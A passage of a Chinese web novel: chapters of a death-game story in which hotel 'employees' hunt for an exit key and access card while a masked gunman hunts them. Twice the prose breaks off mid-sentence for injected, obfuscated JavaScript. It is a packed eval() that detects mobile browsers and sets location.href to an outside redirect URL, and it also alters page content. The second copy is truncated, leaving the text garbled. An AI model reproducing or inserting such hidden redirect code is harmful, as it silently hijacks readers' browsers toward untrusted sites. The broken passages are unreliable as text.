杰西卡的广播:“两个门分别需要不同的钥匙打开,一个门需要插孔钥匙,另一个门需要门禁卡,两种钥匙上都贴有‘紧急出口’的标签。酒店所有客房的房门都是锁上的,电梯间和前台区域都已被封死。” 杰西卡的广播:“另外,每个鬼人都有自己独特的能力,请各位员工注意这点。” 广播潦草地结束了。 “穆沙……”确认了穆沙是今天的鬼人,王嘉华回想起了三天前在船上发生的事情。 “那一次鬼人是杰西卡,10个人里死了4个!我运气好,最后一个逃生了。这次的鬼人是穆沙……真不想死在这个男人的手里。” 王嘉华沿着过道小心翼翼地往回走着,脑中已经开始预想着自己死亡的画面。 “冷静!冷静!”比起黑暗的环境,王嘉华更害怕自己的胆怯之魂再次支配自己。“没有什么好怕的,做自己该做的事!” 不管怎么样,现在最重要的事,就是找到钥匙或门禁卡。 “鬼人穆沙,一定是拿着枪的,他就在这个空间的某个地方寻找着我们……” 来到一个客房的门前,王嘉华试了试把手,的确是锁上的。王嘉华继续朝着前方摸索,经过的所有客房门都是锁上的。 王嘉华摸了摸口袋,发现自己的手机还在身上。 王嘉华:“我们应该都是晕倒后被送到这个地方……身上其他的物件都被拿走了,但是手机还在,说明猎杀环节是允许带手机进场的。” “说不定能联系到其他人……” 王嘉华打开了手机屏幕,却发现屏保密码被取消了。 “这是怎么回事?” 手机没有信号,无法联系任何人。王嘉华想要重新设置屏保密码,却发现系统被限制了,无法重新设置。 “手机的权限被盗取了?是南顿干的吗?” 无奈,王嘉华关掉手机,继续朝前慢慢探索着。 经过了两个拐角后,王嘉华看到走廊边上摆放着一辆破旧的餐车。 “钥匙会在这里面吗?” 王嘉华走上前去,翻找了一下餐车的柜子,里面空无一物。 突然,一个身影出现在走廊的中央。 王嘉华慌张地看着:“你是……” 身影从黑暗中朝王嘉华走了过来——是那苏百,他穿着宽松的风衣,手中似乎拿着什么东西,放进了自己的口袋里。 “为什么?”王嘉华疑惑又怨恨地对着那苏百说:“你为什么没把签收单交给杰西卡?你不是内鬼啊!” 那苏百没有回答,他的步伐越来越快,直接冲向了王嘉华。王嘉华来不及躲避,被那苏百一拳撂倒在地上。 王嘉华来不及起身,那苏百沉重地身体已经坐在了他的身上,双手掐住了王嘉华的脖子。 “到底是为什么!”王嘉华奋力抓着那苏百的手,却无论如何都无法掰开。 “王嘉华,你还没搞懂这个游戏要怎么玩吗?”那苏百凶狠地掐着王嘉华:“你真的以为,光靠工作汇报上的那几句话,就能让老板给你打钱吗?” 王嘉华:“什么?” “你根本不知道老板要什么!”那苏百:“老板想要看到的是希望,是获胜的概率!” 王嘉华渐渐使不出力气。 那苏百:“6个人里只有1个能获胜,想要提高获胜的概率,就必须干掉其他人,这么简单的道理你不懂吗?” 王嘉华开始呼吸困难:“你……你不怕穆沙杀了你?” “我跟他早就私下签订了协议,”那苏百:“只要我明天还活着,我就会给他打30万!” 今天早上抽到身份卡片后,穆沙就已经计划好了。他故意让所有人看到他信封中内鬼的字样,让所有人知道他是内鬼,就是为了等待其他人的倒戈。 那苏百:“这是大家都心照不宣的事情!三天都没有死人了,大家其实心里都等得不耐烦了,大家都希望进入猎杀环节减少对手的数量。穆沙早就猜到一定会有人站在内鬼这边了!” 王嘉华满脸红肿,已经无法开口。 “你以为这几天帕特里克斯老板给我打了多少钱?10万20万根本远远不够!”那苏百:“只要员工的数量还是6,帕特里克根本不会正眼看我!我需要300万、500万!” 王嘉华还在做最后的挣扎。 “王嘉华,你不理解吗?你不理解为什么我需要这么多钱?”那苏百:“你当然不理解!因为你根本不知道我欠了多少钱!” 王嘉华的力气即将耗尽。 那苏百:“我欠了一千万你懂吗?整整一千万新币!” 王嘉华的意识开始模糊。 那苏百:“我必须杀人!只有减少对手的数量,提高我获胜的概率,老板才会看重我,才会给我打更多的钱!” “所以王嘉华!”那苏百大吼到:“你今天非死不可!” 正当王嘉华快要晕厥时,一颗子弹从那苏百的太阳穴穿了过去。随着那一声枪响,那苏百的双手僵直地松开,随着身体朝侧边倒了下去。 16. 第十五章 第十五章·野兽面具2 子弹射穿了那苏百的头。那苏百死了。 “啊啊啊啊啊啊!”穆沙癫狂的嚎叫声从枪声的方向传来。 王嘉华惊恐地望去——在昏暗的走廊中央,一个头戴狼嘴面具,身披绒毛兽皮的人,左手拎着一袋子的子弹,右手拿着一把细长的手枪朝自己走来。 “穆沙·哈吉!”连呼吸都顾不上,王嘉华快速起身,连滚带爬朝着另一边跑去。 穆沙:“嘿嘿这不是嘉华哥吗?”说着,穆沙拉回栓立刻又开了一枪。 躲进了黑暗中的王嘉华虽然没有中弹,但却被枪声吓得双腿发软,摔倒在了拐角处。 “又是枪声!我最讨厌枪声!”王嘉华拼尽全力想要站起来,却控制不住双腿。 王嘉华绝望地喘息,看着戴着野兽面具的穆沙越来越近。正当穆沙再次看清了王嘉华的位置,抬起枪口对准王嘉华时,一个身影从拐角的另一边冲过来,拽其王嘉华的衣服将王嘉华拖了过去。 王嘉华抬头看去,拖着他的人是陈双赢。 “快站起来!”陈双赢朝王嘉华的腿重重地踢了一脚,王嘉华的双腿立刻恢复了知觉,两人一起朝着走廊深处逃去。 广播中传来杰西卡的声音:“那苏百已经被淘汰,那苏百已经被淘汰。” “噢噢噢噢!解决一个!”尽管跟丢了王嘉华和陈双赢,穆沙仍然在一边开心地嚎叫着,一边慢悠悠地搜寻着其他人。 …… 不知道跑了多远。穆沙的声音逐渐远去,躲在角落的陈双赢和王嘉华慢慢站了起来。 “谢谢你,双赢。”王嘉华低着头,眼神死气沉沉。 从刚刚的恐惧中缓过神来,王嘉华突然察觉到了什么。 “你发现什么了吗?”陈双赢观察着周围,语速依旧很快。 王嘉华思考着:“刚刚的枪声有点特别,好像在哪里听到过……” “没问你这个,”陈双赢:“我是问你找到门或钥匙了吗?” 王嘉华:“门?啊,我刚刚醒来的时候看到了一个白色的铁门。” 王嘉华想起游戏规则,要找到钥匙开门才能结束猎杀。 陈双赢:“是逃生门吗?” 王嘉华:“应该是的吧,门上方有紧急出口的绿灯标志。” 陈双赢:“还有什么?” 王嘉华回忆了一下:“我想起来了,门旁边的墙上装了一个读卡器!” “也就是说,那个铁门要用门禁卡才能打开吗?”陈双赢念叨着。 王嘉华看了看陈双赢,突然退了一步。 “陈双赢……”王嘉华紧张地问:“你会不会杀我?” 陈双赢:“你在说什么?我干嘛要杀你?” 王嘉华:“那个律师不是鬼人,但他刚刚差点就杀了我。” 如果不是穆沙那一枪,王嘉华现在已经被那苏百掐死了。 “我早就说过他是个傻子。”陈双赢:“我们没有通讯的方法,如果不尽快找到钥匙和门禁卡,我们所有人都会死在穆沙的枪下。” …… 三天前的晚上。平等号的会议室。 杰西卡刚刚讲完猎杀环节的具体规则。 那苏百看着杰西卡:“你刚刚说,比赛的时长是7天对吗?” 杰西卡点了点头。 那苏百:“那如果在比赛结束前,就只剩下一个员工了,会怎么样?比如鬼人在一次猎杀环节中把其他员工全都杀了。” “这种情况的话,游戏会提前结束,但翻倍的奖励不会减少。”杰西卡:“所有的钱会按剩下的天数结算翻倍奖励,一次性全部汇入这个员工的银行卡中。” …… 陈双赢:“想要找到钥匙和门禁卡,我们好人必须相互配合,交流信息。” 王嘉华:“我懂了!” 陈双赢:“所以我们的目标,首先是要找到其他人。” 王嘉华:“可这要怎么找?我们连地图都没有。” 陈双赢:“把你的手机借我一下。” 王嘉华:“你要干嘛?” 陈双赢:“少废话,我的手机刚刚弄丢了。” 陈双赢拿过王嘉华的手机,打开屏幕,把微弱的屏幕灯光照在了墙壁上。王嘉华看到,墙壁上有一个空的木框,木框中的图纸已经被撕扯了下来。 王嘉华:“这是什么?” “如果我没猜错,”陈双赢:“这应该就是酒店的平面图。” 王嘉华:“地图被人撕下来了?” 陈双赢:“我之前来的时候就已经是这样了。不知道是谁干的,但如果是其他的同伴,那么他们可能会知道钥匙和门禁卡的位置。” 王嘉华:“难怪你说一定要先找到同伴。” 陈双赢:“别废话了,赶紧走吧。” 王嘉华跟在陈双赢的身后,两人在黑暗的走廊中轻声地移动着。走了一段时间,在某个拐角处,两人同时突然停了下来。 “你听到脚步声了吗?”王嘉华用口腔发出的气音问陈双赢。 陈双赢点了点头。 与此同时,那微弱的脚步声也在拐角后方的另一个拐角处停了下来。看起来,对面的人也听到了王嘉华这边的脚步声。 连续的两个拐角,走廊安静得就像没有人存在。 王嘉华紧张地问:“是穆沙吗?还是其他人?” 陈双赢:“目前判断不出来,现在只知道对方在听到我们的脚步声后也停了下来。” 此刻,王嘉华和陈双赢都十分确定,两个拐角的后有人,只是不知道他是谁。 王嘉华:“要不我直接问他?” “不行。”陈双赢:“如果对方是穆沙,你直接说话,穆沙就会知道自己的存在已经暴露,他会直接冲过来追杀我们。” 陈双赢思考了一会,仔细分析着:“如果对面是穆沙的话,他的目的是追杀我们,那他停下脚步的目的就为了假装成我们的同伴,让我们继续往前走,然后撞上他的枪口。” “如果是其他人的话,那他停下脚步的目的就和我们一样,即害怕对面是穆沙,又不想错失与同伴相遇的机会,所以停在原地思考对策。” 无论是谁,都有停下脚步的理由。 王嘉华:“现在该怎么办?” “不要做声。”陈双赢:“为了确保安全,只能先等着,看看对方有什么动作了……” 然而僵持了很久,两边都没有任何动作。 王嘉华:“这样耗下去肯定不行……对方一定也在等我们先行动。要不我们直接往回走?” 陈双赢:“如果每次遇到这种情况就直接离开,那就永远找不到同伴了。” 王嘉华:“可我们现在还有别的办法吗?难道要冒险往前走?” 对方已经很久没有动静了,即没有离开的脚步声,也没有前进的脚步声。 双方都没有破局的方法。 陈双赢:“你刚刚听到对面是几个人?” “几个人?”王嘉华想了一会:“这很难听清啊。” “如果你听不清对方的人数,”陈双赢:“那就代表对方应该也听不清我们的人数……我有办法了!” 经受过特殊训练,陈双赢的听觉比一般人要强得多。此时,陈双赢确定对方只有一个人。 陈双赢:“王嘉华,你往后方走,我留在原地。你走路的时候要故意露出一些脚步声让对方听见,如果对方是穆沙,那么他一定会跟着追过来;如果对面没有动或者往回走,那就是其他人。” 王嘉华:“好!就这么做!” 听到对方离开的脚步声,鬼人是绝对不会停在原地,或者往回走的。 王嘉华保持着正常的姿态往回走,陈双赢蹲在拐角的墙边,仔细聆听着对面的动静。半分钟后,王嘉华已经走远,而对面终于也露出了渐渐远离的脚步。 “凯文!”陈双赢走出了拐角,用轻声喊住了正在往回走的凯文。 凯文转头:“原来是你!” 这时,王嘉华也调头跑了过来,三人成功汇合到了一处。 三人窃窃私语着。 “我有2个线索。”凯文认真地说着,从口袋里掏出了一块碎纸。陈双赢和王嘉华看过去,那是酒店平面图的一块碎片。 “首先,我知道门禁卡和钥匙在哪。”说着,凯文指着地图上的一个位置:“你们看,这里有个布草间。” 王嘉华:“布草间?” 地图碎片的边缘撕裂处,画着一个房间的一小部分,从标注和结构来看,的确是布草间。 凯文:“你们还记得杰西卡说过的话吗?酒店所有客房的房门都是锁上的。” “她好像是说过。”王嘉华:“我刚刚查看过几个客房的门,确实都是锁上的。” “布草间并不是客房,而电梯间和前台区域都去不了,那么能够开门的房间,就只有布草间了。”凯文:“我觉得门禁卡和钥匙很有可能就放在布草间!” 王嘉华:“有道理啊!” “可地图为什么是一块碎片?”陈双赢:“凯文,这个地图碎片你是怎么弄到的?” 凯文:“我刚刚在走廊的地上捡的。” 陈双赢感到有些奇怪。 王嘉华:“第二个线索呢?” 凯文:“第二,我见过一个逃生门。” 陈双赢:“另一个逃生门?” 凯文:“一个白色的铁门,门的上面有个绿色灯光的标志,写着‘紧急出口’。” 王嘉华:“没错,我之前也看到了一个。” “酒店里‘紧急出口’的门都长这样,这两个门一定就是杰西卡说的逃生门。”凯文:“可惜我当时没有地图,找不到钥匙和门禁卡,所以打不开那个白门。” 王嘉华:“你找到的那个门,旁边有读卡器吗?” 凯文摇了摇头:“没有,只有锁孔。” “这就对了,”王嘉华:“你找到的那个门是要用钥匙打开的,我找到的门需要用读卡器刷开。” 陈双赢:“无论钥匙还是读卡器,我们都需要去布草间找一找。” 王嘉华:“凯文,你能找到我们现在在地图的什么位置吗?” 凯文:“我这块碎片上应该没有我们的位置,我们只能慢慢摸索,或者找到其他的地图碎片。” 陈双赢思考了一会:“可三个人一起行动,感觉风险太大了。” 王嘉华:“你有什么想法吗,双赢?” 凯文:“她是嫌你动静太大了。” “既然是酒店,那应该有配电箱吧。”陈双赢看了看头顶的灯泡:“虽然这些灯光很微弱,但如果被拿着手枪的穆沙看到还是会很危险,如果能把电闸关掉就好了……” 凯文:“你想去拉总闸吗?” “全黑的环境,虽然所有人的行动会变慢,但穆沙也更难杀掉我们,”陈双赢:“关掉电闸对我们更有利。” 陈双赢刚说完,王嘉华立刻害怕地捏住陈双赢的袖口:“别去!” 陈双赢疑惑地看着王嘉华。 王嘉华:“你走了我们怎么办?你必须保护我们!” 同行的人越少,王嘉华的胆子就越小。 “保护你们?”陈双赢:“我是女生诶,怎么保护你们?” “很简单,”王嘉华:“你走在我后面,凯文走在我前面,这样就行了。” …… 酒店的另一处。 套着野兽面具的穆沙一个人哼着歌,悠闲地走着,一边看着手机的屏幕。 穆沙的手机屏幕上显示着一个动态扫描图,除了中心的光点以外,另外5个光点分布在扫描图的各处。 其中,有2个光点正聚集在一起,同时朝着某个方向移动。 “不错不错!”穆沙关上了手机,从口袋中掏出了最后一片地图,然后撕成了两半,随手扔在了走廊上。 …… 按照王嘉华的排序,三个人在酒店漆黑的走廊中摸摸索索。 走在最前面的凯文开着手机的屏幕探路。 王嘉华:“凯文,我想问你一件事。” “王嘉华,你砸碎大佛的事我还没找你算账,你不要忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780709|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”领头的凯文弯着腰往前慢慢地往前走着。两人都用着最轻的声音。 王嘉华:“我记得你说过,你的债主和你的老板都是同一个人,对吧?” 凯文:“是啊,娜娜女士,莘夫人的老大。” 王嘉华:“你跟我明明一样,债主和雇佣者都是同一个人。” 凯文:“我知道,你的老板是卡尔德曼。” 王嘉华:“可为什么卡尔德曼从来不给我打钱?” “因为你欠的太多了,你这个白痴。”凯文:“卡尔德曼几年前就已经开始转行做正经生意了,他不想杀人,所以就借南顿的手杀你而已。” 王嘉华:“原来真的是这样……” “过完今夜你就赶紧辞职吧,如果你能活下来的话。”凯文:“这不是你该来的地方。” 王嘉华:“你跟双赢说了同样的话。” 陈双赢没有回答。 王嘉华:“我总感觉,门禁卡和锁孔钥匙不会藏在同一个地方。” 凯文:“为什么?” 王嘉华:“如果都在同一个地方,那穆沙只要一直守在那里,我们不就永远开不了逃生门了吗?” 凯文:“无所谓,现在两个逃生门的位置我们都知道了,只要找到任何一个钥匙,我们都能获胜。” 王嘉华:“的确。” 凯文:“总之,先赶紧去布草间!” …… 不久,三人终于找到了布草间。凯文蹲着移动过去,拉下了布草间房门的门把手。 “是松的!”凯文按下把手,把房门慢慢地推开了。 虽说是布草间,但里面很宽敞,有前后两个门,没有什么杂物,只有几个陈旧的货架和木柜,看起来应该被清理过,房间的顶部亮着一个小灯泡。 进入布草间,王嘉华紧绷的心脏瞬间松懈了30%。 王嘉华:“门禁卡真的藏在这里吗?” 凯文:“快点找吧,把这些柜子和货架都翻翻看。” 王嘉华走到货架前,发现这些货架上零零散散地放着很多枚钥匙。 “这里有很多钥匙!”王嘉华仔细翻看着:“但不知道哪一把是开逃生门的?” 凯文:“杰西卡说了,锁孔钥匙和门禁卡都贴了‘紧急出口’的标签。” 王嘉华:“我找一下……” 凯文刚走到一个柜子前,柜子里的人突然爬了出来。 “啊!”王嘉华差点叫出声,凯文也往身后一倒。 “嘘!是我!”从木柜里爬出来的佘孔渝比了一个噤声的手势。 凯文:“佘孔渝你怎么藏在这里?” 佘孔渝:“我捡到了一个地图碎片,根据地图碎片找到了这个房间。可我刚刚进来,就听见门外有声音,我以为是穆沙,就躲了起来,没想到是你们两个。” 王嘉华:“你有找到什么有用的线索吗?” “这是门禁卡!”说着,佘孔渝亮出了手中的那张门禁卡,上面贴有‘紧急出口’字样的标签:“我刚刚躲起来的时候,在木柜里找到的!” 王嘉华:“太好了!有了这个门禁卡,就可以打开我一开始见到的那个门了!可我怎么感觉……” 佘孔渝:“怎么了?” 一股莫名的噩兆从王嘉华的心中冒出。 “凯文和佘孔渝捡到的地图碎片上都包含了布草间的一部分,就好像有人故意引导我们来到布草间……地图又是谁撕碎放在地上的呢?” “等一下!”凯文的心脏突然停了一秒,惊恐地看向佘孔渝。 佘孔渝:“怎……怎么了?” “佘孔渝,”凯文全身僵硬,睁大眼睛:“你刚刚说了什么?” 佘孔渝:“我说了什么?” 王嘉华也疑惑地看着凯文。 凯文:“你刚刚说,没想到是我们两个?” 为什么是两个? 王嘉华的身体也突然冻结起来,他突然感到背后有一个毛茸茸的身影。 佘孔渝张大嘴和双眼,看着王嘉华身后的方向,即将惊叫。 “可惜只抓到三个呀!”穆沙嘶哑的声音伴随着傻笑的腔调,从王嘉华身后一米不到的位置传来。王嘉华立刻扭头看去,那个戴着野兽面具的穆沙已经把枪口对准了王嘉华的眉心。 穆沙:“本来还想找机会把门堵上,没想到被你们提前发现了。” …… 十分钟前。 按照王嘉华的排序,三个人在酒店漆黑的走廊中摸摸索索。走在最后的陈双赢看准了时机,偷偷溜走了。 王嘉华:“凯文,我想问你一件事。” 就在王嘉华和凯文细声交谈时,发现了两人行踪的穆沙也悄悄跟了上来,跟在了王嘉华的身后。 穆沙的目的是将所有人全部干掉。 然而杀掉那苏百后,穆沙发现,尽管手中有枪,但在曲折复杂的走廊里追杀这些人,其实命中率并不高。 酒店的空间并不小,在大理石地板上走路也难免会有声音,这样漫无目的地搜寻,即便知道所有猎物的位置,也不一定追得上,更别说开枪射杀了。 对穆沙来说,想要把所有人都杀死,最好的办法就是把他们全部聚集到一个狭小的空间里,而整个酒店唯一符合这个条件的空间,就是布草间。 为此,穆沙特意以布草间为中心,把地图撕成了碎片,分布在酒店的各处;同时,每张碎片上,都留有布草间的一小部分,这样的话,每个捡到碎片的人都一定会去那个布草间寻找钥匙和门禁卡。 当穆沙正要回到布草间蹲守埋伏,却发现鬼鬼祟祟的凯文和王嘉华也正朝着布草间移动,他知道这两人一定捡到了地图碎片。 自制的手枪,每开一枪都要重新手动退弹,无法连续射击。走廊的拐角非常多,易于逃跑,如果现在开枪,很可能只能杀掉其中一个。为了让所有人在布草间汇合,穆沙悄悄跟在他们的身后,等到所有人在布草间碰面时,偷偷把门堵上,然后一次性全部杀掉。 …… 伴随着一声枪响,黄色的火舌从穆沙的枪口中迸发出来。 17. 第十六章 第十六章·野兽面具3 子弹从枪□□了出来。 …… 然而就在穆沙按下扳机的前一秒,布草间那唯一的灯泡突然熄灭了。与此同时,整个酒店所有的灯光全部在一瞬间消失,变成了一个完全漆黑的空间。 突如其来的黑暗令穆沙失去了瞄准的能力,他没有射中任何人。王嘉华胆怯的本能让自己迅速地蹲了下来。 “怎么回事?”在一片漆黑中,穆沙看不到任何人,也看不见任何物体。 此刻,布草间里的所有人都默契地保持着安静。 “陈双赢?她把电闸关了?去你的!”穆沙恼羞成怒,开始对着四周的黑暗胡乱开枪。 间断的枪声和火舌暴露了穆沙的位置。混乱之中,王嘉华悄咪咪地躲在了货架的角落,蜷缩着身体瑟瑟发抖,就像一年前在百货超市里那样。 枪声停不下来。巨大的枪响声一次次刺痛着王嘉华的大脑。一连串强烈的刺激令王嘉华的脑中突然闪现出无数痛苦的回忆。 “百货大楼、枪声、黑烟、惨叫、艾雅琳……” 躲在货柜下的王嘉华仔细听着穆沙的枪声,心里默默地数着子弹的数量。 王嘉华突然听到了手机掉落在地上的声音。“啊——”随后,凯文发出了痛苦的惨叫,接着是木门被打开,奔跑的脚步声越来越远。 穆沙也一边开枪,一边朝着门口摸索着。 “4、5、6……”数到第7发的时候,王嘉华听到了上子弹的声音。 “歹徒用的是自制的手枪,弹匣容量是8枚,他总爱在弹匣只剩下最后一颗子弹的时候换弹,这是他的习惯。”王嘉华想起了警察对他说过的关于那个歹徒的线索。 空气中充满了血液的腥臭味。王嘉华知道,凯文一定中弹了。 很快,穆沙终于摸到了布草间的后门,顺着血液的气味追了过去。 布草间终于安静下来了。而惊魂未定的王嘉华根本控制不住自己的身体,全身的每个细胞都被固定住了。躲在货架下的王嘉华捂着耳朵,缩成了一个球,即便他隐约听到了有人在喊他的名字。 “王嘉华!”佘孔渝一把将王嘉华捂着耳朵的手抓开。 王嘉华这时才突然睁开眼睛。 佘孔渝轻声地说:“你振作一点!王嘉华!” “你干什么?找我有什么事吗?”王嘉华精神恍惚,语无伦次。 一片黑暗中,两人互相都看不见对方,只能通过微弱的声音交流。 “门禁卡!”佘孔渝:“穆沙已经走了,他去追凯文了!我们要快点去开门!” 王嘉华的身体还在发抖:“你……你去就行了,我走不动了。” “我去不了!”佘孔渝:“只有你能去!” 王嘉华:“啊……为……为什么只有我能去?” 佘孔渝:“我不知道门在哪里啊!只有你见过那个门!” 王嘉华突然想起了这件事。 佘孔渝:“你应该还记得过来的路吧?我们拿着门禁卡,沿着原路返回去,就能把门打开,就能获胜了!” 王嘉华回想着刚刚发生的事,瞳孔慢慢缩小。 “穆沙·哈吉……” “一年前失踪……” “黑山羊病毒……” “自制的手枪……” 一年前那个歹徒的脸再次浮现在王嘉华的脑海中。 佘孔渝:“你现在怎么样了?发生什么事了吗?” “没什么……”王嘉华放下了双手,深呼吸了几口,很快就调整了过来。 “跟我来吧,我记得原来的路。”王嘉华突然变了一个人,他站起身,神色专注,语速比陈双赢还快。 …… 酒店的另一处,那苏百被杀的地方。 穆沙站在那苏百的尸体旁,打开着手机灯光,从那苏百的左裤口袋中摸出了一把钥匙。 看到钥匙上贴着的‘紧急出口’的标签,穆沙笑了笑,将钥匙上的标签撕下,贴在了另一把钥匙上,然后将假钥匙放入那苏百的裤子口袋中,将真钥匙放进了自己的口袋,继续朝着前方走去。 …… 佘孔渝跟在王嘉华身后,黑暗中,两人摸着墙壁走着。 突然,头顶的灯光又亮了起来,整个酒店又回到了昏暗的状态。 “糟了,”佘孔渝:“看来穆沙又回去配电箱把电闸打开了。” 王嘉华看了看四周:“没关系,这样也好。” 说着,两人加快了步伐。很快,在王嘉华凭借着记忆,带着佘孔渝来到了那个紧急出口的白色铁门前。 佘孔渝:“是这里吗?” “没错,”王嘉华将手中的门禁卡放在了墙壁上的读卡器上。 读卡器发出了绿色的亮光,显示着“门已解锁”的字样。 佘孔渝:“门终于开了!” 可当王嘉华按下铁门的门把手,无论推还是拉,铁门都纹丝不动。 佘孔渝:“这……这是怎么回事?” “我也不知道……”王嘉华困惑地看着铁门:“再试试吧。” 反复尝试了几次,读卡器都显示“门已解锁”,可面前的铁门无论如何都打不开。 “为什么会这样?”佘孔渝慌张起来:“杰西卡明明在广播里说了,门禁卡可以开门的啊?” “不对,你仔细回想一下杰西卡说过的话。”王嘉华开始认真地思考着:“她说的是,两个门分别需要不同的钥匙打开,一个需要锁孔钥匙,另一个需要门禁卡。” 佘孔渝:“是啊。” 王嘉华:“可她并没有说,哪个门需要锁孔钥匙,哪个门需要门禁卡。” 佘孔渝:“你的意思是……” 王嘉华指着门把手上:“你看,这个门的把手上也有一个锁孔。” 两个白色铁门的外形是完全一样的,唯一的区别是王嘉华面前的这扇门旁边安装了一个读卡器。 “之前凯文找到了另一扇逃生门,那个门的旁边并没有安装读卡器。如果杰西卡的规则没有错误的话,那么唯一合理的解释……” 王嘉华用手中的门禁卡指着读卡器说:“这个读卡器,连接的是凯文看到的那扇逃生门;而我们面前的这扇门,需要用锁孔钥匙打开。我们之前一直搞反了!” 听到这,佘孔渝绝望地看着王嘉华:“难道……难道我们还要去找另一扇门吗?” 负伤的凯文已经不知去向了,他是唯一知道另一扇门在哪的人。 王嘉华闭上眼紧锁眉头,仔细回想着之前发生的一切。 “如果锁孔钥匙和门禁卡都放在布草间,那穆沙只需要一开始守在布草间等我们过去送死就行了,而他并没有这么做。” “所以锁孔钥匙一定藏在别的什么地方。” “整个酒店所有客房的门都是锁上的,能藏东西的地方,除了布草间……对了!还有配电箱!” “陈双赢把电闸关掉了,说明陈双赢去过配电箱,但她到现在都还没打开另一扇门,说明她在配电箱没有找到钥匙……那么唯一的可能,就是钥匙早已被人拿走了!” “而那把钥匙……”王嘉华突然想起来,在看到那苏百的时候,他正在将手中的什么东西放进自己的口袋。 “就是那个!”王嘉华立刻转身,朝着那苏百的尸体方向跑去:“那苏百死的地方就在附近!” 王嘉华的思考速度快得惊人,连他自己都没习惯。 经过两个转弯,王嘉华再次回到了之前和那苏百争斗的地方。佘孔渝也跟了过来。 走廊的地板上,那苏百的尸体趴倒在血水中,他的风衣被掀翻,盖住了头部。 “我记得,他当时就把那个东西塞进了裤子左边的口袋。”顾不了恐惧,王嘉华立刻蹲在尸体的边上,从裤子的左口袋中摸出了一把锁孔钥匙,钥匙上贴着‘紧急出口’的标签。 王嘉华:“果然在这里!” 那苏百刚刚醒来时就找到了配电箱,并在配电箱中发现了逃生门的锁孔钥匙。 “既然这样,那就是说明配电箱也在不远处……嗯?”说着,王嘉华突然看了看那苏百的尸体,愣了一下,没有说话。 佘孔渝:“怎么样了?找到钥匙了吗?” 王嘉华将钥匙亮了出来:“找到了。” 佘孔渝:“太好了!” 王嘉华站起身:“嗯,赶紧回去开门吧。” 两人朝着逃生门回去。当走到了那个破旧的餐车附近时,王嘉华和佘孔渝突然停住,身后走廊的拐角处传来了危险的脚步声。 王嘉华和佘孔渝惊恐地望去——带着面具的穆沙像一头饥饿的野兽看着两人。 “快躲起来!”王嘉华话还没说完,一发子弹在他的脚边炸开火花。 走廊的下一个拐角还有一点距离,直接冲过去太危险。情急之下,两人一起躲在了餐车的后面。 “啊啊啊啊啊啊!”穆沙恐怖又疯狂的咆哮声与枪声同时爆发,子弹接二连三地打在餐车上。 “欢迎来到猎杀之夜!”穆沙一边笑着,一边开枪,一边往前走着:“我等你们好久啦!” 穆沙早已料到王嘉华会回到尸体这里,重新打开电闸后,就一直守在尸体的附近。 “4发、5发、6发……”王嘉华还在计算着穆沙的子弹数。在开完第7枪后,穆沙又从子弹袋里拿出了7枚子弹装填进了弹匣。 “已经可以确认了。”王嘉华内心告诉自己,此刻的他已经不记得恐惧的滋味了。 佘孔渝抱着头蜷缩着,不敢说一句话。 穆沙的声音越来越近,餐车也马上要被射穿了,王嘉华知道,这样一直躲下去,两个人都会被杀。 “没办法了……”王嘉华把钥匙交到了佘孔渝的手中,认真地对她说:“你等会拿着钥匙往门的方向跑,我来吸引穆沙的注意。” 佘孔渝紧张地看着王嘉华:“你怎么吸引?” 王嘉华:“我等下会把餐车推向他,然后用身体挡住他的视线,你趁这个机会冲向前面的拐角。只要你能冲到拐角,我们就获胜了!” 佘孔渝:“他一枪就能把你打死吧……” 王嘉华:“这是我们唯一的机会了!” 穆沙已经走到了餐车边上,他已经可以看到王嘉华的头发。 “冲!”随着王嘉华的喊声,餐车突然朝穆沙飞了过来。没来得及反应的穆沙被撞了一个踉跄,但很快又恢复了平衡。 与此同时,王嘉华拦在穆沙的前方,身体微微向前倾斜,双眼凝视着穆沙持枪的手臂;而王嘉华身后,拿着钥匙的佘孔渝已经跑到了走廊的拐角处。 然而就在这时,穆沙突然大笑起来:“哈哈你们在干什么呀?”说着,穆沙从腰间掏出了另一枚钥匙:“你们拿的是假钥匙,真正的钥匙是这个呀。” 看到穆沙手中拿着的那枚钥匙,佘孔渝突然惊愕地愣在了原地:“王嘉华……这是怎么回事?” 穆沙:“我知道你们会来尸体这里拿钥匙,所以我早就把真钥匙调包了,这很难理解吗?” 佘孔渝绝望地看着手中的钥匙…… “不用管他!”王嘉华大声说到:“佘孔渝,你手上那把钥匙就是真的!相信我!快去开门!” 佘孔渝握紧了手中的钥匙,继续往逃生门的方向跑——没有别的办法,佘孔渝只能选择相信王嘉华。 “你还蛮自信嘛,嘉华哥,”穆沙一边换着子弹一边说:“你觉得事到如今我还有必要骗你们吗?” 王嘉华紧张地看着穆沙的手臂,没有任何多余的动作。 “让开吧,嘉华哥。”穆沙叹了口气,不慌不忙地说:“我是不会杀你的,因为你的卡里一分钱都没有。” 王嘉华:“你不是一开始就打算杀掉所有人吗?” 穆沙:“可后来我又想了想,你应该留着。” 王嘉华:“为什么?” 穆沙:“卡尔德曼是个有钱人,你如果能活下来,他一定会给你打钱的。我应该等你有了钱再杀你,你觉得呢?” 王嘉华:“所以在你眼里,我只是一个用来谋利的工具吗?” “嘉华哥啊嘉华哥……”穆沙不屑地回答:“看来你还是不明白,你在你的老板眼里一直都只是谋利的道具。” 穆沙:“不只是你,我也是,我们所有人都是。我们的贫穷都是那些有钱人造成的,我们在这里相互杀戮也是他们造成的。” 王嘉华没有回答。 穆沙装填好了子弹:“你真的不让开吗?” 王嘉华的眼睛开始充血,身体开始发热,他的世界变得一片血红。 “如果你执意不让开,那我就只能先把你杀了。”说完,穆沙右手抬起,再次将枪口对准了王嘉华的眉心。 “注意持枪者的手肘弯曲程度,预判开枪的时机……”《躲枪术训练手册》上的这句话,王嘉华心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 